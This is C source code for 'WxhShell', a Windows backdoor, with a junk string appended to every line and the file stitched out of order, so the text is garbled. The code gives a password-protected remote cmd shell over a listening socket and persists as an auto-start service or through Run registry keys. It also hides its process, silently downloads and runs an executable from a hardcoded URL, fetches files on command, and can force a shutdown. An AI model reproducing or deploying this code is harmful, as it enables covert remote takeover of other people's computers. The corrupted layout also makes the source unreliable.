    if(Boot(SHUTDOWN)) MbZJ;,e?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@ cM|(  
    else { #t: S.A@  
    closesocket(wsh); XBb~\p3y  
    ExitThread(0); KLitg6&P  
    } 8&?s#5zA  
    break; }%'?p<^M  
    } hRrn$BdLX  
  // 获取shell XINu=N(g  
  case 's': { g1W.mAA3B  
    CmdShell(wsh); s'E2P[:  
    closesocket(wsh); ND>r#(_\  
    ExitThread(0); LYz.Ci}  
    break; vdx0i&RiL  
  } QgU8 s'e  
  // 退出 \eT5flC  
  case 'x': { bzuEfFaL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r^3acXl  
    CloseIt(wsh); QxVq^H  
    break; G MX?  
    } $c:ynjL|P-  
  // 离开 Vzdh8)Mu\  
  case 'q': { $Q96,rb}k;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); beRVD>T  
    closesocket(wsh); /H(? 2IHC  
    WSACleanup(); +;N2p1ZBf  
    exit(1); %)|9E>fP]N  
    break; b F"G[pD  
        } %,6#2X nX%  
  } Sa?ksD2IaB  
  } g*e   
7hlO#PYZ  
  // 提示信息 _aad=BrMK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k.vBj~xU  
} 9F)z4  
  } J'SZ  
4'g;TI^  
  return; wVicyiY]  
} >VP= MbN  
^;Y|3)vvB  
// shell模块句柄 vY  }A  
int CmdShell(SOCKET sock) s.N7qO^:E  
{ K1r#8Q!t  
STARTUPINFO si; 8S mCpg  
ZeroMemory(&si,sizeof(si)); H:t$'kb`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K?B{rE Lp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b\vKJ2  
PROCESS_INFORMATION ProcessInfo; )vjh~ybZ  
char cmdline[]="cmd"; ;V*R*R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }XV+gyG=@  
  return 0; ] >LhkA@V  
} Z&1T  
ysxb?6  
// 自身启动模式 ko.(pb@+  
int StartFromService(void) R?~Yp?B^  
{ =j5MFX.-o  
typedef struct -Zf@VW,NI  
{ ;aI[=?<x  
  DWORD ExitStatus; 6*B19+-  
  DWORD PebBaseAddress;  [F0s!,P  
  DWORD AffinityMask; ~$:|VHl  
  DWORD BasePriority; m?pstuUK(  
  ULONG UniqueProcessId;  "HElB9  
  ULONG InheritedFromUniqueProcessId; lef2X1w}!  
}   PROCESS_BASIC_INFORMATION; (l-tvk4Ln  
M)'HCnvs'  
PROCNTQSIP NtQueryInformationProcess; )6,de2Pb  
uC+V6;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5p<ItU$pnL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qq) rd  
I/d&G#:~  
  HANDLE             hProcess;  x }\64  
  PROCESS_BASIC_INFORMATION pbi; k7?N ?7w  
'Jt]7;04p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^?cz,N~  
  if(NULL == hInst ) return 0; !46RGU:I  
k9  "[H'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WN{ 9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cik!GA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "!Uqcay-  
!c}O5TI|#  
  if (!NtQueryInformationProcess) return 0; Hyb3 ;yQ  
_/uFsYC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K/tRe/t }  
  if(!hProcess) return 0; 6-yd]("  
OMWbZ>jB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U1DXe h~V  
rai3<_W<  
  CloseHandle(hProcess); ROg(U8 N  
0fb`08,^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?u/@PR\D  
if(hProcess==NULL) return 0; pP*zq"o  
dx;Ysn0-  
HMODULE hMod; o.w\l\  
char procName[255]; _hRcc"MS`  
unsigned long cbNeeded; f!oT65Vmi  
iYDEI e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [`{Z}q&  
SSz~YR^}Sr  
  CloseHandle(hProcess); bvv|;6  
9K5pwC\$%  
if(strstr(procName,"services")) return 1; // 以服务启动 ),UX4%K=  
E~%jX }/  
  return 0; // 注册表启动 r\b3AKrIN  
} :`-,Lbg  
u.mJQDTH  
// 主模块 jNLw=  
int StartWxhshell(LPSTR lpCmdLine) )~+E[|  
{ @y='^DQ*  
  SOCKET wsl; 9:ze{ c $  
BOOL val=TRUE; LQtj~c>X-|  
  int port=0; |zQ4u  
  struct sockaddr_in door; =U#dJ^4P  
MaRi+3F  
  if(wscfg.ws_autoins) Install(); f|h|q_<;  
:n0vQ5a  
port=atoi(lpCmdLine); h\5OrD@L  
k5D%y3|9  
if(port<=0) port=wscfg.ws_port; (@%gS[]  
V.O(S\  
  WSADATA data; AvdXEY(-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7![,Q~Fy  
M,/mE~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o*DN4oa)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \@8+U;d  
  door.sin_family = AF_INET; z.GMqW%B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K8>zF/# +  
  door.sin_port = htons(port); BybW)+~  
85n1eE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .QA }u ,EN  
closesocket(wsl); tNGp\~  
return 1; |?qquD 4=  
} }._eIx"  
7B!x T2{T  
  if(listen(wsl,2) == INVALID_SOCKET) { k"NVV$;  
closesocket(wsl); DE%KW:Hug  
return 1; ~-EOjX(X'E  
} ]z l [H7  
  Wxhshell(wsl); 9cf:pXMi  
  WSACleanup(); @!`Xl*l  
}dp=?AFg  
return 0; .WPV dwV4U  
=R#Qx,  
} pPcTrN'  
|/09<F:L[  
// 以NT服务方式启动 x$1]M DAGb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fb{`` ,nO  
{ RLb KD>  
DWORD   status = 0; Q$HG  
  DWORD   specificError = 0xfffffff; &;D8]7d  
I_<I&{N>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >sWp ?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x 7~r,x(xM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rW+ =,L  
  serviceStatus.dwWin32ExitCode     = 0; H-~6Z",1  
  serviceStatus.dwServiceSpecificExitCode = 0; QA<Jr5Ys  
  serviceStatus.dwCheckPoint       = 0; XmEq2v  
  serviceStatus.dwWaitHint       = 0; GM3f- \/  
;?8_G%va  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tS|(K=$  
  if (hServiceStatusHandle==0) return; xYmxc9)2  
,=Mt`aN  
status = GetLastError(); |QU <e  
  if (status!=NO_ERROR) } \XfH  
{ 9\/xOwR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f7=((5N  
    serviceStatus.dwCheckPoint       = 0; NMa} <  
    serviceStatus.dwWaitHint       = 0; p(~Yx3$*  
    serviceStatus.dwWin32ExitCode     = status; i(iXD  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~nrK>%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0URji~?|x  
    return; c&AygqN  
  } BsEF'h'Owh  
hS)'a^FV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; huJ&]"C  
  serviceStatus.dwCheckPoint       = 0; jg.QRny^  
  serviceStatus.dwWaitHint       = 0; b*`lk2oMa/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZaL.!g  
} 7cTV?nc  
w)Q0_2p.  
// 处理NT服务事件,比如:启动、停止 Ed_N[ I   
VOID WINAPI NTServiceHandler(DWORD fdwControl) hnDBFQ{  
{ *g6n  
switch(fdwControl) qWODs  
{ vJ'2@f$  
case SERVICE_CONTROL_STOP: s;3={e.  
  serviceStatus.dwWin32ExitCode = 0; M7@2^G]p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8DegN,?  
  serviceStatus.dwCheckPoint   = 0; a>GyO&+Dkg  
  serviceStatus.dwWaitHint     = 0; 4|CtRF<L  
  { %`r?c<P}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > U%gctIg  
  } 9D7+[`r(-  
  return; i'#E )  
case SERVICE_CONTROL_PAUSE: hJZV}a|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y *fDwd~  
  break; fp+gyTnd3  
case SERVICE_CONTROL_CONTINUE: H[S%J3JI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n p\TlUc  
  break; paKSr|O  
case SERVICE_CONTROL_INTERROGATE: k} |   
  break; T`5bZu^c  
}; @JyK|.b#0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UE$UR#T'w  
} 5 N#3a0)  
)?X-(4  
// 标准应用程序主函数 v 8$>rwB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )i !o8YB  
{ R,pX:H&#+  
TrLu~4  
// 获取操作系统版本 U$_xUG  
OsIsNt=GetOsVer(); mg*qiScfW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hm%;=`:'  
rvnT6Ve  
  // 从命令行安装 xHz[t6;4;  
  if(strpbrk(lpCmdLine,"iI")) Install(); joiL{  
2oNk 93D  
  // 下载执行文件 wid;8%m  
if(wscfg.ws_downexe) { %F-ZN^R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TWQG591  
  WinExec(wscfg.ws_filenam,SW_HIDE);  (Q.waI  
} ha(Z<  
.y@oz7T5  
if(!OsIsNt) { L$IQuy  
// 如果时win9x,隐藏进程并且设置为注册表启动 L5 veX}  
HideProc(); %*`J k#W:  
StartWxhshell(lpCmdLine); o1FF"tLkN  
} y0'Rmk,  
else  PYM(Xz$  
  if(StartFromService()) vK _?<>  
  // 以服务方式启动 wnM9('\  
  StartServiceCtrlDispatcher(DispatchTable); %l,,_:7{  
else  B[Zjfc  
  // 普通方式启动 4KH45|; 3  
  StartWxhshell(lpCmdLine); ~%SH3$  
e S<lwA_  
return 0; @8;W\L$~1  
} /J:bWr  
BV>\ McI+  
$!8-? ?ML  
P DrZY.-  
=========================================== =gJb^ Gx(w  
,'p2v)p^4  
$`z)~6'  
(UU(:/  
iy14mh\ ~  
A7%:05  
" t4-pM1]1_  
f"u%J/e&  
#include <stdio.h> W!6qqi{  
#include <string.h> .)<(Oj|4  
#include <windows.h> rz@=pR :  
#include <winsock2.h> -lhLA`6_R  
#include <winsvc.h> WC.t_"@  
#include <urlmon.h> kX>f^U{j  
Y0_),OaY  
#pragma comment (lib, "Ws2_32.lib") ,0hA'cp  
#pragma comment (lib, "urlmon.lib") <-,gAk)u  
N(y\dL=v  
#define MAX_USER   100 // 最大客户端连接数 q^r#F#*1l  
#define BUF_SOCK   200 // sock buffer 89wU-Aggq  
#define KEY_BUFF   255 // 输入 buffer ~Uxsn@nLr  
uoXAQ6k  
#define REBOOT     0   // 重启 L7V G`h;  
#define SHUTDOWN   1   // 关机 \>7^f 3m  
bZ|FnY}FB  
#define DEF_PORT   5000 // 监听端口 UmQ?rS8d  
6bBB/yd  
#define REG_LEN     16   // 注册表键长度 [L:o`j  
#define SVC_LEN     80   // NT服务名长度 |=$-Wu  
+eX@U;J,g  
// 从dll定义API 4)U.5FBk )  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V\^EfQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .R9IL-3fO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [BT/~6ovrZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qt/8r*Oe  
qU#BJON]BR  
// wxhshell配置信息 3 AsT  
struct WSCFG { z&{5;A}Q@  
  int ws_port;         // 监听端口 rxy&spX  
  char ws_passstr[REG_LEN]; // 口令 D?0zhU  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7LU}Iiv  
  char ws_regname[REG_LEN]; // 注册表键名 \'CDRr"uw  
  char ws_svcname[REG_LEN]; // 服务名 2EfF=Fm>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S6AU[ASY.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XwlbJ=mf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aEWWFN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4( 1(e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &9"-`-[e:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #_(jS+lP?k  
5JLu2P  
}; `$B3X  
:@!ic<p  
// default Wxhshell configuration l?Fb ='#  
struct WSCFG wscfg={DEF_PORT, @ )-$kk*  
    "xuhuanlingzhe", &d5ia+ #  
    1, <~n$1aA  
    "Wxhshell", ;d'Z|H;  
    "Wxhshell", m q{];  
            "WxhShell Service", ea~:}!-P  
    "Wrsky Windows CmdShell Service", OBP1B@|l$+  
    "Please Input Your Password: ", 2c:#O%d(  
  1, a)#1{JaoY  
  "http://www.wrsky.com/wxhshell.exe", k}0^&Quc4  
  "Wxhshell.exe" R hvfC5Hq  
    }; "B8"_D&  
Ns[ym>x#2  
// 消息定义模块 DNj "SF(J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WN_pd%m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TW9WMId  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'I /aboDB  
char *msg_ws_ext="\n\rExit."; stk9Ah  
char *msg_ws_end="\n\rQuit."; ]s GHG^I6  
char *msg_ws_boot="\n\rReboot..."; K%X^n>O7C  
char *msg_ws_poff="\n\rShutdown..."; D*YM[sN`  
char *msg_ws_down="\n\rSave to "; aN $}?  
YI.w-K\  
char *msg_ws_err="\n\rErr!"; i7utKj*57  
char *msg_ws_ok="\n\rOK!"; d R]Q$CJ  
o`q_wdy?  
char ExeFile[MAX_PATH]; YcN!T"w J@  
int nUser = 0; C,pJ`:P  
HANDLE handles[MAX_USER]; ulER1\W  
int OsIsNt; "eWYv3z~-  
& _g TD  
SERVICE_STATUS       serviceStatus; ,ML[Wr'2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I~9hx*!%%  
E)9yH\$6  
// 函数声明 wlEo"BA  
int Install(void); Eyh51IB.  
int Uninstall(void); Q]w&N30  
int DownloadFile(char *sURL, SOCKET wsh); \0H's{uek  
int Boot(int flag); j`*#v  
void HideProc(void); *mMEl]+  
int GetOsVer(void); = pzn u+,  
int Wxhshell(SOCKET wsl); pKjoi{ Z  
void TalkWithClient(void *cs); x"CZ]p&m  
int CmdShell(SOCKET sock); o)[2@fRC(  
int StartFromService(void); }oKG}wgY  
int StartWxhshell(LPSTR lpCmdLine); ?&^?-S% p  
$8'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bgK<pi)d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |-CnT:|o  
"/nNM{^  
// 数据结构和表定义 z8J."27ND  
SERVICE_TABLE_ENTRY DispatchTable[] = f uB)qt!E  
{ CCX8>09  
{wscfg.ws_svcname, NTServiceMain}, a<A+4uXyD  
{NULL, NULL} Ii^5\v|C  
}; %O<%UmR  
`)Z!V?&!  
// 自我安装 if]Noe  
int Install(void) G_dsrpI=N  
{  =Mb1o[  
  char svExeFile[MAX_PATH]; TcGoSj<Z  
  HKEY key; s9>(Jzcf9  
  strcpy(svExeFile,ExeFile); 2*w:tT8+X  
]l(wg]  
// 如果是win9x系统,修改注册表设为自启动 5&e<#"  
if(!OsIsNt) { &k1T08C*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >"@?ir  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?*oKX  
  RegCloseKey(key); J-<^P5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BkZV!Eg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ((^sDE6(  
  RegCloseKey(key); $\"9<o|h  
  return 0; -dO'~all  
    } =SAU4xjo  
  } "9bN+1[<  
} 9P<[7u  
else { _"%B7FK  
$DP&a1'g  
// 如果是NT以上系统,安装为系统服务 Na\WZSu'"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); atW'  
if (schSCManager!=0) Go&D[#  
{ @y/wEBb  
  SC_HANDLE schService = CreateService ,\aUq|~  
  ( @Fpb-Qd"  
  schSCManager, -.|4Y#b:&  
  wscfg.ws_svcname, \Fe_rh  
  wscfg.ws_svcdisp, :Yj) CGl$  
  SERVICE_ALL_ACCESS, \i[BP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \bx~*FaX  
  SERVICE_AUTO_START, 3s>'hn  
  SERVICE_ERROR_NORMAL, "z*:'8;E  
  svExeFile, ?~QIALA  
  NULL, U5]pi+r  
  NULL, .Xdj(_&  
  NULL, s ncIqsZ  
  NULL, jkF8\dR  
  NULL :EtMH(  
  ); TbehR:B5g  
  if (schService!=0) =U. b% uC  
  { (LtkA|:  
  CloseServiceHandle(schService); bhs(Qzx  
  CloseServiceHandle(schSCManager); gLSA!#[ h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >l+EJ3W  
  strcat(svExeFile,wscfg.ws_svcname); ,b$2=JO'f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T`9-VX;`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TFepxF  
  RegCloseKey(key); CVi`bO4\  
  return 0; Ce'pis   
    } 3},Zlu  
  } sK 2 e&  
  CloseServiceHandle(schSCManager); 9%IlW  
} Q#Y k?Kv~  
} WM)F0@"  
#2tCV't  
return 1; ZE `lr+_Y  
} ==cd>03()  
%o}(sShS  
// 自我卸载 {NCF6M k  
int Uninstall(void) s(_+!d6  
{ cW``M.d'F  
  HKEY key; w#^U45y1v  
.!}hhiF,Z  
if(!OsIsNt) { /i)Hb`(S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IOK}+C0e  
  RegDeleteValue(key,wscfg.ws_regname); p$k\m|t  
  RegCloseKey(key); G]Jz"xH#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >x[`;O4  
  RegDeleteValue(key,wscfg.ws_regname); wG8Wez%  
  RegCloseKey(key); @S 6u9v  
  return 0; D^Ys)- d  
  } t!_x(u  
} Be}$I_95\P  
} 8#` 6M5  
else { E:nt)Ef,  
oH2!5;A|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gZT)pP  
if (schSCManager!=0) _B,_4}  
{ [^~7]2i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eu'1H@vX(  
  if (schService!=0)  .~}z4r  
  { #yc L'T`X%  
  if(DeleteService(schService)!=0) { RH~3M0'0  
  CloseServiceHandle(schService); r?l;I3~  
  CloseServiceHandle(schSCManager);  <1&Ke  
  return 0; <3hA!$o~  
  } K<v:-TjQZ:  
  CloseServiceHandle(schService); ,PWj_}|L[  
  } *wi}>_\  
  CloseServiceHandle(schSCManager); Q;nAPS  
} mo1 puU  
} N*DhjEU)[  
+ySY>`1k~  
return 1; yoqa@V  
} ODf4+& u  
*(cU]NUH_  
// 从指定url下载文件 YYRT.U'  
int DownloadFile(char *sURL, SOCKET wsh) $gp!w8h  
{ "D* Wi7  
  HRESULT hr; &B!%fd.'  
char seps[]= "/"; w5]l1}rl  
char *token; J< JBdk  
char *file; )'q%2%Ak  
char myURL[MAX_PATH]; KIL18$3J  
char myFILE[MAX_PATH]; ) qPSD2h  
GLKO]y  
strcpy(myURL,sURL); 2r ];V'r  
  token=strtok(myURL,seps); zL s^,x  
  while(token!=NULL) j.3o W  
  { ,2WH/"  
    file=token; m%QqmTH  
  token=strtok(NULL,seps); |ia@,*KD  
  } ykq'g|  
w 7tC|^#G  
GetCurrentDirectory(MAX_PATH,myFILE); YDiN^q7  
strcat(myFILE, "\\"); {@M14)-x>_  
strcat(myFILE, file); FQf #*  
  send(wsh,myFILE,strlen(myFILE),0); Xy#V Q{!  
send(wsh,"...",3,0); JZ`L%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N_C_O$j  
  if(hr==S_OK) <?$kI>Ot  
return 0; H?}wl%  
else -Gsl[Rc0H;  
return 1; j"<Y!Y3  
NMjnL&P`  
} 0 15Owi  
jeDlH6X'  
// 系统电源模块 =sQ(iso%f  
int Boot(int flag)  ~q%  
{ *kaJ*Ti-/  
  HANDLE hToken; %OI4a5V*l  
  TOKEN_PRIVILEGES tkp; BV9*s  
qtSs)n  
  if(OsIsNt) { 9y"TDo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p q-!WQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lSc,AOXp  
    tkp.PrivilegeCount = 1; |l90g|isJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sa] mm/ G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &]nd!N  
if(flag==REBOOT) { oA3d^%(c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mr6E/7g%  
  return 0; C<he4n.  
} o`%I{?UCDJ  
else { Kp_jy.e7&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X}apxSd"  
  return 0; $e/*/.  
} #J+\DhDEPO  
  } >.Q0 Tx!P  
  else { ci7~KewJ*  
if(flag==REBOOT) { U5 rxt^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0]a15  
  return 0; u ~71l)LA  
} *4#on>  
else { [&n|\!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;4d.)-<No_  
  return 0; *IlQ5+3I  
} ?1m ,SK  
} /v&`!nKu  
Am7| /  
return 1; 3#9M2O\T  
} ~'f8L #[M  
3@X|Gs'_S  
// win9x进程隐藏模块 %)IrXz>Zh  
void HideProc(void) fI[dhd6  
{ A*Q[k 9B  
-HTL5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z1vni'%J  
  if ( hKernel != NULL ) 4 ? {*(  
  { -~'kP /E^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a97Csxf;7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zMU68vwM  
    FreeLibrary(hKernel); pSrsp r  
  } h]C2 8=N  
7Jc<.Z"/Gd  
return; ocP*\NR  
} ~}%&p& p  
L`[F~$|  
// 获取操作系统版本 J_/05( 48  
int GetOsVer(void) %EB;1  
{ g!`BXmW  
  OSVERSIONINFO winfo; Q}z{AZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0(vdkC4\A  
  GetVersionEx(&winfo); X0x_+b? _  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I:/4t^%  
  return 1; -CElk[u  
  else ;7 "Y?*{  
  return 0; oF&IC j0  
} Z`"n:'&  
%jgg59  
// 客户端句柄模块 Z>HNe9pr  
int Wxhshell(SOCKET wsl) lDU#7\5.  
{ (6[Wr}SW5  
  SOCKET wsh; (\q[gyR  
  struct sockaddr_in client; jQIV2TY[  
  DWORD myID; &`sR){R  
{9:hg9;E*  
  while(nUser<MAX_USER) L3>4t: 8  
{ jrdtd6b}  
  int nSize=sizeof(client); -~]^5aa5n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4i96UvkZ  
  if(wsh==INVALID_SOCKET) return 1; (T2<!&0 @  
DUPmq!A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q}ZBr^*]1e  
if(handles[nUser]==0) tJG (*   
  closesocket(wsh); hf[IEK  
else " #J}A0  
  nUser++; ^1vq{/ X  
  } Vg) ^|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6<Be#Y]b  
h?3f5G*&H  
  return 0; t.u{.P\Md\  
} T)O]:v  
9Iy[E,j  
// 关闭 socket X~#@rg!"  
void CloseIt(SOCKET wsh) `;T? 9n  
{ _BCT.ual  
closesocket(wsh); *ig5Q(b*N  
nUser--; ur`V{9g  
ExitThread(0); 0Mq6yu^  
} hAYQ6g$A  
&,Uc>L%m  
// 客户端请求句柄 RDJ82{  
void TalkWithClient(void *cs) I BF.&[[S  
{ $&NbLjeS  
>0ssza  
  SOCKET wsh=(SOCKET)cs; =1_jaDp  
  char pwd[SVC_LEN]; gFgcxe6  
  char cmd[KEY_BUFF]; r$Kh3EEF`E  
char chr[1]; r ufRaar  
int i,j; gZ ~y}@L y  
2GUhV*TN  
  while (nUser < MAX_USER) { vatx+)  
)/i4YLO  
if(wscfg.ws_passstr) { X^9t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mrX}\p   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [29$~.m$Y  
  //ZeroMemory(pwd,KEY_BUFF); CcbWW4 )  
      i=0; !/[AQ{**T!  
  while(i<SVC_LEN) { Y}*Ctdrl  
s')!<E+z\t  
  // 设置超时 x%ZiE5#  
  fd_set FdRead; HL|0d }  
  struct timeval TimeOut; mT}Aje-L  
  FD_ZERO(&FdRead); v UJ sFR  
  FD_SET(wsh,&FdRead); L'zdsa}Et  
  TimeOut.tv_sec=8; QZ_nQ3K  
  TimeOut.tv_usec=0; )bF)RL Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,[+ZjAyG}#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9? v)  
 \q|e8k4p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [UUM^!1  
  pwd=chr[0]; >V3W>5X  
  if(chr[0]==0xd || chr[0]==0xa) { 2I9{+>k  
  pwd=0; 3Ro7M=]  
  break; ^$3w&$K*  
  } a^(S!I  
  i++; h%4 ~0  
    } ^2(";.m  
Yk x&6M@t  
  // 如果是非法用户,关闭 socket "Vs Nyy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |J @|  
} ]g>T9,)l  
qM+!f2t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bi,rMgW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c'>8pd  
0^_)OsFA  
while(1) { ">v_uq a  
PLl x~A  
  ZeroMemory(cmd,KEY_BUFF); #nt<j2}m  
<L[  *hp  
      // 自动支持客户端 telnet标准   Zz wZ, (  
  j=0; m|g$'vjk  
  while(j<KEY_BUFF) { % DHP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Ykp8u,(  
  cmd[j]=chr[0]; ant-\w> }  
  if(chr[0]==0xa || chr[0]==0xd) { D<$j`r  
  cmd[j]=0; LK oM\g(  
  break; V_ avaE  
  } \:18Uoe7  
  j++; "y3dwSS  
    } ZnxOa  
.'+|>6eU  
  // 下载文件 \ltErd-  
  if(strstr(cmd,"http://")) { 70I4-[/z[d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k N uN4/  
  if(DownloadFile(cmd,wsh)) $/-wgyP3m+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -b Ipmp?  
  else f^>lObvd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UwzE'#Q-  
  } cftn`:(&8  
  else { zYNM<W;  
` Mv5!H5l  
    switch(cmd[0]) { -+Awm{X_@  
  j/; @P  
  // 帮助 5Od(J5`  
  case '?': { '8((;N|I^  
